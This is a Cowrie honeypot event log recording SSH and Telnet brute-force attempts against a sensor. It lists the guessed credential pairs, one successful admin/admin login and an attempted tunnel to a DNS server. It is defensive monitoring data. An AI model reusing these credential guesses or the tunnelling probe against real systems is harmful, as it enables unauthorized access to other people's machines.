{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34462,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6b8dfba7988","protocol":"ssh","message":"New connection: 45.156.87.254:34462 (159.203.135.109:22) [session: d6b8dfba7988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:15.977155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:15.983020Z","src_ip":"45.156.87.254","session":"d6b8dfba7988","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:16.072442Z","src_ip":"45.156.87.254","session":"d6b8dfba7988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:16.335615Z","src_ip":"45.156.87.254","session":"d6b8dfba7988","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:17.507744Z","src_ip":"45.156.87.254","session":"d6b8dfba7988","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.5219407081604,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:18.185275Z","src_ip":"20.123.41.163","session":"9810bd7402c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48116,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a726c656c0e","protocol":"telnet","message":"New connection: 104.245.105.2:48116 (10.17.0.5:23) [session: 9a726c656c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:18.810582Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":46708,"dst_ip":"10.17.0.5","dst_port":23,"session":"500e75dde532","protocol":"telnet","message":"New connection: 20.123.41.163:46708 (10.17.0.5:23) [session: 500e75dde532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:19.809863Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35208,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc94634ca5f4","protocol":"ssh","message":"New connection: 45.156.87.254:35208 (159.203.135.109:22) [session: fc94634ca5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:20.995751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:21.001492Z","src_ip":"45.156.87.254","session":"fc94634ca5f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:21.084872Z","src_ip":"45.156.87.254","session":"fc94634ca5f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:21.336892Z","src_ip":"45.156.87.254","session":"fc94634ca5f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:22.486878Z","src_ip":"45.156.87.254","session":"fc94634ca5f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35218,"dst_ip":"159.203.135.109","dst_port":22,"session":"01d291b4f6a2","protocol":"ssh","message":"New connection: 45.156.87.254:35218 (159.203.135.109:22) [session: 01d291b4f6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:25.943386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:25.948273Z","src_ip":"45.156.87.254","session":"01d291b4f6a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:26.031547Z","src_ip":"45.156.87.254","session":"01d291b4f6a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:26.294406Z","src_ip":"45.156.87.254","session":"01d291b4f6a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.182876825332642,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:26.992512Z","src_ip":"20.123.41.163","session":"500e75dde532","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:27.415078Z","src_ip":"45.156.87.254","session":"01d291b4f6a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":62966,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c13ca88e65d","protocol":"ssh","message":"New connection: 87.251.64.176:62966 (10.17.0.5:22) [session: 3c13ca88e65d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:30.543808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:30.548660Z","src_ip":"87.251.64.176","session":"3c13ca88e65d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51658,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c8a4d007e1b","protocol":"ssh","message":"New connection: 45.156.87.254:51658 (159.203.135.109:22) [session: 4c8a4d007e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:30.606500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:30.611351Z","src_ip":"45.156.87.254","session":"4c8a4d007e1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:30.644707Z","src_ip":"87.251.64.176","session":"3c13ca88e65d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:30.694278Z","src_ip":"45.156.87.254","session":"4c8a4d007e1b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:30.934774Z","src_ip":"87.251.64.176","session":"3c13ca88e65d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:30.946153Z","src_ip":"45.156.87.254","session":"4c8a4d007e1b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:31.038230Z","session":"3c13ca88e65d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:31.136325Z","src_ip":"87.251.64.176","session":"3c13ca88e65d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:31.234995Z","src_ip":"87.251.64.176","session":"3c13ca88e65d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:32.034269Z","src_ip":"45.156.87.254","session":"4c8a4d007e1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51660,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbeec41a6cfb","protocol":"ssh","message":"New connection: 45.156.87.254:51660 (159.203.135.109:22) [session: bbeec41a6cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:35.306474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:35.311361Z","src_ip":"45.156.87.254","session":"bbeec41a6cfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:35.394266Z","src_ip":"45.156.87.254","session":"bbeec41a6cfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:35.643376Z","src_ip":"45.156.87.254","session":"bbeec41a6cfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":42846,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6de8895e6e2","protocol":"telnet","message":"New connection: 20.123.41.163:42846 (10.17.0.5:23) [session: e6de8895e6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:36.311303Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:36.731083Z","src_ip":"45.156.87.254","session":"bbeec41a6cfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52046,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7b164240a07","protocol":"ssh","message":"New connection: 45.156.87.254:52046 (159.203.135.109:22) [session: a7b164240a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:40.297852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:40.342799Z","src_ip":"45.156.87.254","session":"a7b164240a07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:40.409227Z","src_ip":"45.156.87.254","session":"a7b164240a07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:40.746850Z","src_ip":"45.156.87.254","session":"a7b164240a07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.383519172668457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:41.568707Z","src_ip":"185.145.252.179","session":"b0ee299c068e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:41.834167Z","src_ip":"45.156.87.254","session":"a7b164240a07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.002826690673828,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:44.314014Z","src_ip":"20.123.41.163","session":"e6de8895e6e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52048,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f04f3ece1d1","protocol":"ssh","message":"New connection: 45.156.87.254:52048 (159.203.135.109:22) [session: 0f04f3ece1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:45.328114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:45.336458Z","src_ip":"45.156.87.254","session":"0f04f3ece1d1","protocol":"ssh"}
